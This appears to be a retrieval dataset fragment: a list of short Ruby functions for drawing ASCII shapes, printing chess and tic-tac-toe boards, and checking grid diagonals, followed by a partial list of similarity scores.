"def staircase(n)\n spaces=0\n arr = Array.new(n) { |i| Array.new(n) { |j| (i >= j) ? '#' : ' ' } }\n print_matrix(arr.map(&:reverse), spaces)\nend",
"def draw_segment(character, offset)\n puts \"#{' ' * offset}#{character}\"\nend",
"def diagonals\n [board.map.with_index { |row, i| row[i] },\n board.map.with_index { |row, i| row[row.size - i - 1] }]\n end",
"def draw\n wqueen = \"\\u{2655}\"\n wking = \"\\u{2654}\"\n wrook = \"\\u{2656}\"\n wbship = \"\\u{2657}\"\n wknight = \"\\u{2658}\"\n wpawn = \"\\u{2659}\"\n\n bqueen = \"\\u{265B}\"\n bking = \"\\u{265A}\"\n brook = \"\\u{265C}\"\n bbship = \"\\u{265D}\"\n bknight = \"\\u{265E}\"\n bpawn = \"\\u{265F}\"\n\n board = Array.new(8) {Array.new(8, \" \" ) }\n b_size = board.length\n\n board_edge = Array.new(9, \"+\").join('---')\n\n board_edge_letters = ('a'..'h').to_a.join(' ')\n board_edge_letters = \" #{board_edge_letters}\"\n board[0][0] = wrook\n board[0][1] = wknight\n board[0][2] = wbship\n board[0][3] = wqueen\n board[0][4] = wking\n board[0][5] = wbship\n board[0][6] = wknight\n board[0][7] = wrook\n\n board[7][0] = brook\n board[7][1] = bknight\n board[7][2] = bbship\n board[7][3] = bqueen\n board[7][4] = bking\n board[7][5] = bbship\n board[7][6] = bknight\n board[7][7] = brook\n #draw\n puts board_edge_letters\n puts \" #{board_edge} \"\n board.each_with_index do |row, i|\n row = row.join(' | ')\n puts \"#{i+1} | #{row} | #{i+1}\"\n puts \" #{board_edge} \"\n end\n puts board_edge_letters\n\nend",
"def north(i=@cursor) i-width end",
"def gen_diagonal_up(row,col)\n array_diagonals =[]\n 0.upto(5).each do |num|\n if ( row - num < 0 || col + num > 6)\n break\n end\n\n array_diagonals << [row-num, col+num] \n end\n array_diagonals.map{|coordinates| @grid[coordinates[1]][coordinates[0]]}\n end",
"def print_separator_line\nline = \"\"\n3.times do\n3.times { line << SEPARATOR[:horizontal] }\nline << SEPARATOR[:cross]\nend\nputs line[0...line.length - 1]\nprint \"\\t\"\nend",
"def diamond(i) # I hope I didn't name my variables\n spaces_toggle = -1 # the same as the instruction\n spaces = i/2 # This is MY algorithm !\n bling_toggle = 1\n bling = 1\n (i).times do\n spaces.times {print \" \"} \n bling.times {print \"*\"}\n spaces.times {print \" \"} \n print \"\\n\"\n spaces += 1 * spaces_toggle\n bling += 2 * bling_toggle\n if bling == i # Center of function\n bling.times {print \"*\"}\n print \"\\n\"\n spaces += 1\n bling -= 2\n spaces_toggle = 1\n bling_toggle = -1\n end\n end\nend",
"def vert_mirror(strng)\n string.split(\"\\n\").map do |piece|\n piece.reverse\n end.join(\"/n\")\nend",
"def check_diagonals\n diagonal_winner = nil\n # stores the markers\n backward_diagonal = ''\n forward_diagonal = ''\n\n # for a diagonal to be a winner it takes the row[n], row[n+1], row[n+2] and so on..\n @board.each_with_index do |row,index|\n\n # check if left to right diagonal is a winner\n row.each_with_index do |marker, position|\n if position == index\n backward_diagonal += marker\n end\n end\n\n # check if right to left diagonal is a winner\n reversed_row = row.reverse\n reversed_row.each_with_index do |marker, position|\n if position == index\n forward_diagonal += marker\n end\n end\n end\n\n # checks iteration count of x or o in strings to find winner\n if backward_diagonal.count('x') == @board.size || forward_diagonal.count('x') == @board.size\n diagonal_winner = 'x'\n elsif backward_diagonal.count('o') == @board.size || forward_diagonal.count('o') == @board.size\n diagonal_winner = 'o'\n end\n\n diagonal_winner\n end",
"def rb_mvaddch row, col, char\n super(row-@top, col-@left, char)\n end",
"def rb_mvwvline row, col, char, width\n super(row-@top, col-@left, char, width)\n end",
"def build_down_card\n line = []\n line[0] = \"\"\n line[1] = \" o-------o\"\n line[2] = \" |~~~~~~~|\"\n line[3] = \" |~~~~~~~|\"\n line[4] = \" |~~~~~~~|\"\n line[5] = \" |~~~~~~~|\"\n line[6] = \" |~~~~~~~|\"\n line[7] = \" o-------o\"\n line[8] = \"\"\n line\nend",
"def build_down_card\n line = []\n line[0] = \"\"\n line[1] = \" o-------o\"\n line[2] = \" |~~~~~~~|\"\n line[3] = \" |~~~~~~~|\"\n line[4] = \" |~~~~~~~|\"\n line[5] = \" |~~~~~~~|\"\n line[6] = \" |~~~~~~~|\"\n line[7] = \" o-------o\"\n line[8] = \"\"\n line\nend",
"def diagonal_line (board)\n if (board[0][0] == \"O\" && board[1][1] == \"O\" && board[2][2] == \"O\")\n return true\n elsif (board[2][0] == \"O\" && board[1][1] == \"O\" && board[0][2] == \"O\")\n return true\n elsif (board[0][0] == \"X\" && board[1][1] == \"X\" && board[2][2] == \"X\")\n return true\n elsif (board[2][0] == \"X\" && board[1][1] == \"X\" && board[0][2] == \"X\")\n return true\n end\n return false\n end",
"def take(current_position)\n if direction == 1\n diagonals(current_position, 1)[0..1]\n elsif direction == 2\n diagonals(current_position, 1)[1...-1]\n end\n end",
"def rotate_ccw(board)\n rotate(board, 1)\n end",
"def draw_board(word)\n \"_\" * @word.length\n end",
"def next_consonant(letter)\nconsonant = \"bcdfghjklmnpqrstvwxyz\"\ncurrent_index = consonant.index(letter)\nconsonant[current_index + 1]\n\tif letter == \"z\"\n\t\tprint \"b\"\n\telse letter == \" \"\n\t\tprint \" \"\n\tend\nend",
"def draw\n\t\tputs \"\\n\"\n\t\tmid = (@height/2.0).ceil\n\t\tfor line in 1..@height\n\t\t\tspace0 = (mid - (mid-line).abs).abs\n\t\t\tspace1 = (mid - line).abs * 2 - 1\n\t\t\tputs space1 > 0 ?\n\t\t\t\t \" \" * space0 + \"X \" + \" \" * space1 + \"X\" :\n\t\t\t\t \" \" * space0 + \"X\"\n\t\tend\n\tend",
"def count_diagonals(x, y)\n total_count = 0\n \n # Upper Left\n if x - 1 >= 0 and y + 1 < $height and $canvas[x - 1][y + 1] == 1 then total_count += 1 end\n # Bottom Left\n if x - 1 >= 0 and y - 1 >= 0 and $canvas[x - 1][y - 1] == 1 then total_count += 1 end\n # Upper Right\n if x + 1 < $width and y + 1 < $height and $canvas[x + 1][y + 1] == 1 then total_count += 1 end\n # Bottom Right\n if x + 1 < $width and y - 1 >= 0 and $canvas[x + 1][y - 1] == 1 then total_count += 1 end\n\n return total_count\nend",
"def draw_man(draw_num)\r\n parts = [\"\\n | @\", \"\\n | /\", '|', \"\\\\\", \"\\n | |\", \"\\n | / \", \"\\\\\"]\r\n empty, front, back = \"\\n | \", \"____________\\n | |\", \"\\n |\\n-------------\"\r\n return front + empty * 4 + back if draw_num == 0\r\n return front + parts[0] + empty * 3 + back if draw_num == 1\r\n return front + parts[0..1].join + empty * 2 + back if draw_num == 2\r\n return front + parts[0..2].join + empty * 2 + back if draw_num == 3\r\n return front + parts[0..3].join + empty * 2 + back if draw_num == 4\r\n return front + parts[0..4].join + empty * 1 + back if draw_num == 5\r\n return front + parts[0..5].join + back if draw_num == 6\r\n return front + parts[0..6].join + back if draw_num == 7\r\nend",
"def win_diagonal?(mark)\n ltr_diagonal = []\n rtl_diagonal = []\n @grid.each.with_index do |row,r|\n row.each.with_index do |col,c|\n if r == c \n ltr_diagonal << col\n end\n \n if (row.length - r - 1) == c\n rtl_diagonal << col\n end\n end\n end\n ltr = (ltr_diagonal.uniq.length == 1) && ltr_diagonal.include?(mark) \n rtl = (rtl_diagonal.uniq.length == 1) && rtl_diagonal.include?(mark)\n ltr || rtl\n\n end",
"def draw\n\n puts \"*\" * @side_len\n @side_len.times do\n\n print \"*\" + ( \" \" * ( @side_len - 2) ) + \"* \\n\"\n\n end\n\n puts \"*\" * @side_len\n end",
"def rl_transpose_chars(count, key)\r\n return 0 if (count == 0)\r\n\r\n if (@rl_point==0 || @rl_end < 2)\r\n rl_ding()\r\n return -1\r\n end\r\n\r\n rl_begin_undo_group()\r\n\r\n if (@rl_point == @rl_end)\r\n if !@rl_byte_oriented\r\n @rl_point = _rl_find_prev_mbchar(@rl_line_buffer, @rl_point, MB_FIND_NONZERO)\r\n else\r\n @rl_point -= 1\r\n end\r\n count = 1\r\n end\r\n\r\n prev_point = @rl_point\r\n if !@rl_byte_oriented\r\n @rl_point = _rl_find_prev_mbchar(@rl_line_buffer, @rl_point, MB_FIND_NONZERO)\r\n else\r\n @rl_point -= 1\r\n end\r\n\r\n char_length = prev_point - @rl_point\r\n dummy = @rl_line_buffer[@rl_point,char_length]\r\n\r\n rl_delete_text(@rl_point, @rl_point + char_length)\r\n\r\n @rl_point += count\r\n _rl_fix_point(0)\r\n rl_insert_text(dummy)\r\n rl_end_undo_group()\r\n dummy = nil\r\n 0\r\n end",
"def trees_on_slope(right:, down:)\n x = 0\n y = 0\n count = 0\n loop do\n count += 1 if map(x, y) == \"#\"\n x += right\n y += down\n break if y >= @height\n end\n count\n end",
"def diagonal_up_c4?\n\n return false unless @play_field[@last_move]\n color = @play_field[@last_move][-1]\n\n (0..6).each do |column|\n (0..5).each do |row|\n #only checks four in a row if both start and endpoints exist\n break unless @play_field[column+3] && @play_field[column+3][row+3]\n return true if @play_field[column+1][row+1] == color && @play_field[column+2][row+2] == color && @play_field[column+3][row+3] == color\n end\n end\n false\n end",
"def draw\n print \"\\n a b c d e f g h\\n 8\"\n i = 1\n while i <= 8\n (1..8).each do |j|\n if @spaces[((8 * j) - i)].class == Pawn\n if @spaces[((8 * j) - i)].side_id == 1\n print \" \\u{2659} \"\n else\n print \" \\u{265F} \"\n end\n\n elsif @spaces[((8 * j) - i)].class == Rook\n if @spaces[((8 * j) - i)].side_id == 1\n print \" \\u{2656} \"\n else\n print \" \\u{265C} \"\n end\n\n elsif @spaces[((8 * j) - i)].class == Knight\n if @spaces[((8 * j) - i)].side_id == 1\n print \" \\u{2658} \"\n else\n print \" \\u{265E} \"\n end\n\n elsif @spaces[((8 * j) - i)].class == Bishop\n if @spaces[((8 * j) - i)].side_id == 1\n print \" \\u{2657} \"\n else\n print \" \\u{265D} \"\n end\n\n elsif @spaces[((8 * j) - i)].class == Queen\n if @spaces[((8 * j) - i)].side_id == 1\n print \" \\u{2655} \"\n else\n print \" \\u{265B} \"\n end\n\n elsif @spaces[((8 * j) - i)].class == King\n if @spaces[((8 * j) - i)].side_id == 1\n print \" \\u{2654} \"\n else\n print \" \\u{265A} \"\n end\n\n else\n print \" - \"\n end \n end\n if i < 8\n print \"#{9 - i} \\n #{8 - i}\" \n else \n print \"#{9 - i} \\n a b c d e f g h\"\n end\n i += 1\n end\n true\n end",
"def turn_toward(character)\n # calculate differences in x and y\n dx, dy = @real_x - character.real_x, @real_y - character.real_y\n # determines where to turn according to the x and y differences\n if dx < 0 && dx.abs >= dy.abs # character is right\n turn_right\n elsif dx > 0 && dx.abs >= dy.abs # character is left\n turn_left\n elsif dy < 0 # character is down\n turn_down\n elsif dy > 0 # character is up\n turn_up\n end\n end",
"def triangle(int)\n star_chars = '*'\n int.times do\n puts star_chars.rjust(int, ' ')\n star_chars << '*'\n end\nend",
"def draw_horizontal(line, start_char, end_char)\n start_char.upto(end_char) { |char_idx| @lines[line][char_idx] = PATH_CHAR } \n end",
"def navidad(n)\n result = \"\"\n n.times do |ind| \n i = ind + 1 \n (n-i).times do \n result += \" \"\n end\n i.times do\n result += \"* \" \n end\n result += \"\\n\" \n end\n \n 3.times do |i|\n if i != 2\n n.times do |b|\n if (n+1)/2 == b+1\n result += \"* \"\n else\n result += \" \"\n end \n end\n result += \"\\n\"\n else\n n.times do |b| \n if ((n+1)/2)-2 == b || ((n+1)/2)-1 == b || (n+1)/2 == b\n result += \"* \"\n else\n result += \" \"\n end \n end\n end\n end \n result\nend",
"def letra_x(n)\n result = \"\" \n t = n-1\n (n).times do |i| \n n.times do |b| \n if t == b \n result += \"*\"\n elsif i == b\n result += \"*\"\n else\n result += \" \"\n end\n end \n t -= 1 \n result += \"\\n\"\n end\n result\nend",
"def letra_z(n)\n result = \"\"\n t = n-1\n n.times do |i| \n if i == 0 || i == n-1\n n.times {result += \"*\"} \n else \n n.times do |b| \n if t == b\n result += \"*\"\n else\n result += \" \"\n end\n end\n end \n t -= 1 \n result += \"\\n\" \n end \n result\nend",
"def diagnoal(offset=0)\n\t\tdiag = Array.new()\n\t\t\n\t\tif(offset >= 0)\n\t\t\t0.upto(width - 1 - offset) {|i| diag.push(self[i][i+offset])}\n\t\telse\n\t\t\toffset = -offset\n\t\t\t0.upto(height - 1 - offset) {|i| diag.push(self[i+offset][i])}\n\t\tend\n\t\n\t\treturn diag\n\tend",
"def part_of_diag_l_down(starting, ending)\n result = []\n x = starting[0] + 1\n y = starting[1] - 1\n while x < ending[0] && y > ending[1]\n result << @boxes[x][y]\n x += 1\n y -= 1\n end\n result\n end",
"def diagonal_win\n 6.times do\n end\n end",
"def hollow_diamond(int)\n spaces = 1\n puts '*'.center(int)\n \n 1.upto(int - 4) do |line|\n puts ('*' + ' ' * spaces + '*').center(int)\n line > (int / 2 - 2) ? spaces -= 2 : spaces += 2\n end\n \n puts '*'.center(int)\nend",
"def add_horizontal_char(char)\n node = find_horizontal(char);\n if node != nil\n return node\n end\n node = Node.new(char, up)\n add_horizontal(node)\n return node\n end",
"def check_diagonal1\n cell = @last_cell_played\n count = 1\n while cell.ld && cell.ld.color == cell.color\n cell = cell.ld\n end\n while cell.ru && cell.ru.color == cell.color\n cell = cell.ru\n count += 1\n end\n return true if count >= 4\n false\n end",
"def triangle(rows)\n 1.upto(rows) { |num| puts \"#{\"*\" * num}\".rjust(rows)}\nend",
"def symbol(ds, index, y = 0)\n # Line that always appear\n x = (100 + SPACE) * index\n line(50, 0, 50, 100).translate(x, y)\n # Lines that may or may not appear depending of the digit\n ds.each do |num|\n case num\n when 1\n line(50, 0, 100, 0).translate(x, y) # 1579 -\n when 2\n line(50, 50, 100, 50).translate(x, y) # 289 _\n when 3\n line(50, 0, 100, 50).translate(x, y) # 3 \\\n when 4\n line(50, 50, 100, 0).translate(x, y) # 45 /\n when 5\n line(50, 0, 100, 0).translate(x, y) # 1579 -\n line(50, 50, 100, 0).translate(x, y) # 45 /\n when 6\n line(100, 0, 100, 50).translate(x, y) # 6789 |\n when 7\n line(50, 0, 100, 0).translate(x, y) # 1579 -\n line(100, 0, 100, 50).translate(x, y) # 6789 |\n when 8\n line(100, 0, 100, 50).translate(x, y) # 6789 |\n line(50, 50, 100, 50).translate(x, y) # 289 _\n when 9\n line(50, 0, 100, 0).translate(x, y) # 1579 -\n line(100, 0, 100, 50).translate(x, y) # 6789 |\n line(50, 50, 100, 50).translate(x, y) # 289 _\n when 10\n line(50, 0, 0, 0).translate(x, y) # 1579 -\n when 20\n line(50, 50, 0, 50).translate(x, y) # 289 _\n when 30\n line(50, 0, 0, 50).translate(x, y) # 3 /\n when 40\n line(50, 50, 0, 0).translate(x, y) # 45 \\\n when 50\n line(50, 50, 0, 0).translate(x, y) # 45 \\\n line(50, 0, 0, 0).translate(x, y) # 1579 -\n when 60\n line(0, 50, 0, 0).translate(x, y) # 6789 |\n when 70\n line(0, 50, 0, 0).translate(x, y) # 6789 |\n line(50, 0, 0, 0).translate(x, y) # 1579 -\n when 80\n line(50, 50, 0, 50).translate(x, y) # 289 _\n line(0, 50, 0, 0).translate(x, y) # 6789 |\n when 90\n line(0, 50, 0, 0).translate(x, y) # 6789 |\n line(50, 0, 0, 0).translate(x, y) # 1579 -\n line(50, 50, 0, 50).translate(x, y) # 289 _\n when 100\n line(50, 100, 100, 100).translate(x, y) # 1579 _\n when 200\n line(50, 50, 100, 50).translate(x, y) # 289 -\n when 300\n line(50, 100, 100, 50).translate(x, y) # 3 /\n when 400\n line(50, 50, 100, 100).translate(x, y) # 45 \\\n when 500\n line(50, 50, 100, 100).translate(x, y) # 45 \\\n line(50, 100, 100, 100).translate(x, y) # 1579 _\n when 600\n line(100, 50, 100, 100).translate(x, y) # 6789 |\n when 700\n line(100, 50, 100, 100).translate(x, y) # 6789 |\n line(50, 100, 100, 100).translate(x, y) # 1579 _\n when 800\n line(100, 50, 100, 100).translate(x, y) # 6789 |\n line(50, 50, 100, 50).translate(x, y) # 289 -\n when 900\n line(100, 50, 100, 100).translate(x, y) # 6789 |\n line(50, 100, 100, 100).translate(x, y) # 1579 _\n line(50, 50, 100, 50).translate(x, y) # 289 -\n when 1000\n line(50, 100, 0, 100).translate(x, y) # 1579 _\n when 2000\n line(50, 50, 0, 50).translate(x, y) # 289 -\n when 3000\n line(50, 100, 0, 50).translate(x, y) # 3 \\\n when 4000\n line(50, 50, 0, 100).translate(x, y) # 45 /\n when 5000\n line(50, 50, 0, 100).translate(x, y) # 45 /\n line(50, 100, 0, 100).translate(x, y) # 1579 _\n when 6000\n line(0, 50, 0, 100).translate(x, y) # 6789 |\n when 7000\n line(50, 100, 0, 100).translate(x, y) # 1579 _\n line(0, 50, 0, 100).translate(x, y) # 6789 |\n when 8000\n line(0, 50, 0, 100).translate(x, y) # 6789 |\n line(50, 50, 0, 50).translate(x, y) # 289 -\n when 9000\n line(0, 50, 0, 100).translate(x, y) # 6789 |\n line(50, 100, 0, 100).translate(x, y) # 1579 _\n line(50, 50, 0, 50).translate(x, y) # 289 -\n end\n end\nend",
"def diagonal_left_right\n func = lambda do |arr, mark|\n return mark if arr.all? { |el| el == mark } end\n\n left = []; len = @grid.length\n (0...len).each { |i| left << @grid[i][i] }\n\n right = []; len = @grid.length - 1\n (0...@grid.length).each { |i| right << @grid[i][len-i] }\n\n return :X if (func.call(left, :X) == :X) || (func.call(right, :X) == :X)\n return :O if (func.call(left, :O) == :O) || (func.call(right, :O) == :O)\n end",
"def frame(text, char)\n\n longest_word_length = (text.map { |w| w.length }.max)\n frame_width = longest_word_length + 4\n\n frame_top_bottom = char*(frame_width)\n frame_arr = []\n\n #top of frame\n frame_arr.push(\"#{frame_top_bottom}\\n\")\n\n #middle of frame (content and the sides of the frame)\n text.each do |word|\n diff = longest_word_length - word.length\n spaces = ' '*diff\n frame_arr.push(\"#{char} #{word} #{spaces}#{char}\\n\")\n end\n\n #bottom of frame\n frame_arr.push(\"#{frame_top_bottom}\")\n frame_arr.join\nend",
"def swasify(word)\r\n word = word.upcase.gsub(' ','').strip\r\n width = (word.length*2 - 1)*4 - 3\r\n sc = width/2\r\n word.split('')[0..-2].each do |letter|\r\n puts \" \"*sc + letter\r\n sc -= 2\r\n end\r\n sc2 = word.length*4 - 5\r\n puts \" \"*sc + word[-1] + \" \"*sc2 + word[-1]\r\n sc3 = 3\r\n \r\n word.split('')[1..-2].reverse.each do |letter|\r\n sc += 2\r\n sc2 -= 4 \r\n puts \" \"*sc + letter + \" \"*sc2 + letter + \" \"*sc3 + letter\r\n sc3 += 4\r\n end\r\n\r\n puts (word[0] + ' '*sc3)*2 + word[0]\r\n\r\n sc = 2\r\n word.split('')[1..-2].each do |letter|\r\n sc3 -= 4\r\n puts \" \"*sc + letter + \" \"*sc3 + letter + \" \"*sc2 + letter\r\n sc += 2\r\n sc2 += 4\r\n end\r\n\r\n sc2 = word.length*4 - 5\r\n puts \" \"*sc + word[-1] + \" \"*sc2 + word[-1]\r\n sc += sc2 - 1\r\n word.split('')[0..-2].reverse.each do |letter|\r\n puts \" \"*sc + letter\r\n sc -= 2\r\n end \r\nend",
"def check_diagonal2\n cell = @last_cell_played\n count = 1\n while cell.rd && cell.rd.color == cell.color\n cell = cell.rd\n end\n while cell.lu && cell.lu.color == cell.color\n cell = cell.lu\n count += 1\n end\n return true if count >= 4\n false\n end",
"def move_backward(n); print \"\\e[#{n}D\" end",
"def staircase(height)\n\t(1..height).each do |i|\n \t(1..height-i).each do |j|\n \t\tprint(\" \") \n \tend\n \t(1..i).each do |k|\n \tif k == i then\n \tputs(\"#\")\n \telse\n \tprint(\"#\")\n \tend\n \tend\n\tend\nend",
"def hilbert_x_zeichnen(wdhl,kl)\n # Abbruchbedingung\n if wdhl == 0\n @turtle.go_ahead(kl)\n return\n end\n \n # Rekursiver Aufruf X -> \"L Y F R X F X R F Y L\"\n @turtle.turn_left(@angle) # L\n hilbert_y_zeichnen(wdhl - 1,(kl / @factor).round) # Y\n @turtle.go_ahead(kl) # F\n @turtle.turn_right(@angle) # R\n hilbert_x_zeichnen(wdhl - 1,(kl / @factor).round) # X\n @turtle.go_ahead(kl) # F\n hilbert_x_zeichnen(wdhl - 1,(kl / @factor).round) # X\n @turtle.turn_right(@angle) # R\n @turtle.go_ahead(kl) # F\n hilbert_y_zeichnen(wdhl - 1,(kl / @factor).round) # Y\n @turtle.turn_left(@angle) # L\n end",
"def part_of_diag_r_down(starting, ending)\n result = []\n x = starting[0] - 1\n y = starting[1] - 1\n while x > ending[0]\n result << @boxes[x][y]\n x -= 1\n y -= 1\n end\n result\n end",
"def display_upper_semi_diamond(n)\n left_outline = n / 2\n right_outline = left_outline\n\n (n / 2).times do\n row = ' ' * n\n row[left_outline] = '*'\n row[right_outline] = '*'\n\n puts row\n left_outline -= 1\n right_outline += 1\n end\nend",
"def diagonal_move\n (@initial_pos[0] - @final_pos[0]).abs == (@initial_pos[1] - @final_pos[1]).abs\n end",
"def TriForce\n puts(\" /\\\\ \");\n puts(\" /__\\\\ \");\n puts(\" /\\\\ /\\\\ \");\n puts(\"/__\\\\/__\\\\ \");\n puts(\" TRIFORCE \");\nend",
"def diagonals\n [\n [@board[0][0], @board[1][1], @board[2][2]],\n [@board[0][2], @board[1][1], @board[2][0]]\n ]\n end",
"def get_new_position line, start_pos, keypad\n line.each_char.with_object(start_pos.dup) do |c, new_pos|\n new_pos[1] -= 1 if c == \"U\" && new_pos[1].positive? && !keypad[new_pos[1] - 1][new_pos[0]].nil?\n new_pos[1] += 1 if c == \"D\" && new_pos[1] < (keypad.length - 1) && !keypad[new_pos[1] + 1][new_pos[0]].nil?\n new_pos[0] -= 1 if c == \"L\" && new_pos[0].positive? && !keypad[new_pos[1]][new_pos[0] - 1].nil?\n new_pos[0] += 1 if c == \"R\" && new_pos[0] < (keypad.length - 1) && !keypad[new_pos[1]][new_pos[0] + 1].nil?\n end\n end",
"def chars_left; end",
"def upside_down_triangle(n)\n triangle = []\n stars = n\n spaces = 0\n\n n.times do\n triangle << (' ' * spaces) + ('*' * stars)\n stars -= 1\n spaces += 1\n end\n\n triangle.each { |line| puts line }\nend",
"def diagonal_coords\n data_hsh = { forward: [], backward: [] }\n @width.times do |t|\n data_hsh[:forward].push([t + 1, t + 1])\n data_hsh[:backward].push([@width - t, t + 1])\n end\n data_hsh\n end",
"def directions\n STRAIGHT + DIAGONAL\n end",
"def column_next dir=0\n if dir == 0\n $stact += $grows\n $stact = 0 if $stact >= $viewport.size\n else\n $stact -= $grows\n $stact = 0 if $stact < 0\n end\nend",
"def column_next dir=0\n if dir == 0\n $stact += $grows\n $stact = 0 if $stact >= $viewport.size\n else\n $stact -= $grows\n $stact = 0 if $stact < 0\n end\nend",
"def column_next dir=0\n if dir == 0\n $stact += $grows\n $stact = 0 if $stact >= $viewport.size\n else\n $stact -= $grows\n $stact = 0 if $stact < 0\n end\nend",
"def minor_diagonal\n (0...@game.rows).collect { |i| @game.board.board[i][-i - 1] }\n end",
"def rb_mvwhline row, col, char, width\n mvwhline row, col, char, width\n end",
"def main_diagonal\n (0...@game.rows).collect { |i| @game.board.board[i][i] }\n end",
"def print_char (i, j, s)\n if maze_mat[i][j] == 1\n print s\n else\n print \" \"\n end\n end",
"def draw_horizontal_segment\n @pixel_y = @cmd_options[@cmd_options.length-2]-1\n @color = @cmd_options.last\n\n @pixel_xs = (@cmd_options[0]..@cmd_options[1]).to_a\n\n @pixel_xs.each do |pixel_x|\n pixel_x -=1\n @matrix[@pixel_y][pixel_x] = @color\n end\n end",
"def secondary_diag(pos)\n row, col = pos\n arr = []\n\n until row == 0 || col == @board.length - 1\n row -= 1\n col += 1\n end\n\n while valid_idx?([row, col])\n arr << @board[row][col]\n row += 1\n col -= 1\n end\n\n arr\n end",
"def diagonals\n down_diag = [[0, 0], [1, 1], [2, 2]]\n up_diag = [[0, 2], [1, 1], [2, 0]]\n \n [down_diag, up_diag].map do |diag|\n diag.map { |row, col| @rows[row][col] }\n end\n end",
"def new_bathroom_code(input)\n wonky_number_pad = {\n 1 => [2, 2],\n 2 => [1, 1],\n 3 => [2, 1],\n 4 => [3, 1],\n 5 => [0, 0],\n 6 => [1, 0],\n 7 => [2, 0],\n 8 => [3, 0],\n 9 => [4, 0],\n \"A\" => [1, -1],\n \"B\" => [2, -1],\n \"C\" => [3, -1],\n \"D\" => [2, -2]\n }\n new_code = []\n x, y = [0, 0]\n input.each do |button|\n button.each_char do |char|\n if char == \"U\" && y < 1 && x != 0 && x != 4\n y += 1\n elsif char == \"U\" && y < 2 && x == 2\n y += 1\n elsif char == \"D\" && y > -1 && x > 0 && x < 4\n y -= 1\n elsif char == \"D\" && (y > -2 && x == 2)\n y -= 1\n elsif char == \"R\" && x < 3 && y != 2 && y != -2\n x += 1\n elsif char == \"R\" && (x < 4 && y == 0)\n x += 1\n elsif char == \"L\" && x > 1 && y != 2 && y != -2\n x -= 1\n elsif char == \"L\" && (x > 0 && y == 0)\n x -= 1\n end\n end\n new_code << wonky_number_pad.key([x, y])\n end\n new_code.join\nend",
"def mirror(text)\n arr = text.split\n width = arr.map(&:size).max\n stars = '*' * (width + 4)\n [stars, arr.map{ |w| \"* #{w.reverse.ljust(width)} *\" }, stars].join(\"\\n\")\nend",
"def diamond(integer)\n spaces = (1..integer).step(2).to_a\n space_line = spaces.reverse\n spaces.shift\n space_line += spaces\n space_line.map! {|num| num / 2}\n\n stars = (1..integer).step(2).to_a\n star_line = stars.reverse\n star_line.shift\n star_line = stars + star_line\n\n counter = 0\n star_line.each do |element|\n line = (\"*\" * element)\n spaces = line.length + space_line[counter]\n full_line = line.rjust(spaces) + (\" \" * space_line[counter])\n puts full_line\n counter += 1\n end\nend",
"def transform line\n i = 1\n tortoise = line[i]\n hare = line[i * 2]\n while tortoise != hare\n i += 1\n tortoise = line[i]\n hare = line[i * 2]\n end\n v = i\n\n mu = 0\n tortoise = line[mu]\n hare = line[v * 2 + mu]\n while tortoise != hare\n mu += 1\n tortoise = line[mu]\n hare = line[v * 2 + mu]\n end\n\n lam = 1\n hare = line[mu + lam]\n while tortoise != hare\n lam += 1\n hare = line[mu + lam]\n end\n #puts \"v mu lam %d %d %d\" % [v, mu, lam]\n \n line[mu, lam] \nend",
"def printArrow(direction, columns)\n col = columns-1\n \n if direction == \"left\" then\n range_to_right = 0..col\n col-=1\n range_to_left = col.downto(0) \n else\n range_to_right = col.downto(0)\n range_to_left = 1..col \n end\n \n range_to_right.each do |i|\n spaces = \" \" * i\n puts spaces + \"*\"\n end\n range_to_left.each do |i|\n spaces = \" \" * i\n puts spaces + \"*\"\n end\n\nend",
"def frame(text, char)\n width = text.max { |a,b| a.length <=> b.length }.size + 4\n output = \"\" << \"#{char}\" * width << \"\\n\"\n text.each { |line| output << \"#{char} #{line}\" << \"%0#{width - line.size - 2}s\" % char << \"\\n\" }\n output << \"#{char}\" * width\nend",
"def draw_vertical(start_line, end_line, start_char)\n start_line.upto(end_line) do |line_idx| \n @lines[line_idx][start_char] = PATH_CHAR \n end\n end",
"def keystream_letter\n move_joker_a\n move_joker_b\n triple_cut\n count_cut\n count_down\nend",
"def check_diagonals\n 0.upto(2) do |i|\n 0.upto(3) do |j|\n if (@board[j][i].to_s + @board[j + 1][i + 1].to_s + @board[j + 2][i + 2].to_s + @board[j + 3][i + 3].to_s).match(/RRRR|BBBB/) != nil\n return true\n end\n end\n 3.upto(6) do |j|\n if (@board[j][i].to_s + @board[j - 1][i + 1].to_s + @board[j - 2][i + 2].to_s + @board[j - 3][i + 3].to_s).match(/RRRR|BBBB/) != nil\n return true\n end\n end\n end\n return false\n end",
"def topLeftToBottomRight(grid, width, height)\n\n strings = Array.new\n string = String.new\n\n # Get the top-right half of the grid, including the longest diagonal\n for x in 1..width do\n\n string = \"\"\n\n for y in 0..x-1 do\n\n letter = grid[[width-x + y, y]]\n\n string << letter\n\n end\n\n strings << string\n\n end\n\n # Get the bottom-left half of the grid, not including the longest diagonal\n # TODO: find a better way of doing this, without needing to reverse the string\n for x in 0..width-2 do\n\n string = \"\"\n\n for y in 0..x do\n\n letter = grid[[x-y, height - y - 1]]\n\n string << letter\n\n end\n\n string.reverse!\n\n strings << string\n\n end\n\n return strings\n\nend",
"def display_board\n cell = \" \"\n divider = \"|\"\n demarcator = \"\"\n 11.times { demarcator << \"-\" }\n row = cell + divider + cell + divider + cell\n\n puts row\n puts demarcator\n puts row\n puts demarcator\n puts row\nend",
"def vert_diag_row(row_index, col_index, token)\n if cur_board[row_index + 1][col_index] == token\n cur_board[row_index + 2][col_index] == token && cur_board[row_index + 3][col_index] == token\n elsif cur_board[row_index + 1][col_index - 1] == token\n cur_board[row_index + 2][col_index - 2] == token && cur_board[row_index + 3][col_index - 3] == token\n elsif cur_board[row_index + 1][col_index + 1] == token\n cur_board[row_index + 2][col_index + 2] == token && cur_board[row_index + 3][col_index + 3] == token\n else\n false\n end\n end",
"def greedy(rows, cols)\n board = Array.new(rows.length) { Array.new(cols.length) }\n rows.each_with_index { |r, r_idx|\n cols.each_with_index { |c, c_idx|\n board[r_idx][c_idx] = if (r > 0 and c > 0)\n rows[r_idx] -= 1\n cols[c_idx] -= 1\n 'x'\n else\n 'o'\n end\n }\n }\n board\nend"
] |
[
"0.66723865",
"0.64288956",
"0.63903207",
"0.6275684",
"0.62707317",
"0.6252836",
"0.6166597",
"0.60894215",
"0.590144",
"0.5861546",
"0.5823039",
"0.5768013",
"0.5763936",
"0.5752961",
"0.57455945",
"0.57381254",
"0.5736229",
"0.57319665",
"0.5724865",
"0.57094526",
"0.570428",
"0.56902987",
"0.5573836",
"0.5563295",
"0.5563063",
"0.5550386",
"0.5550313",
"0.5545787",
"0.55385983",
"0.55255276",
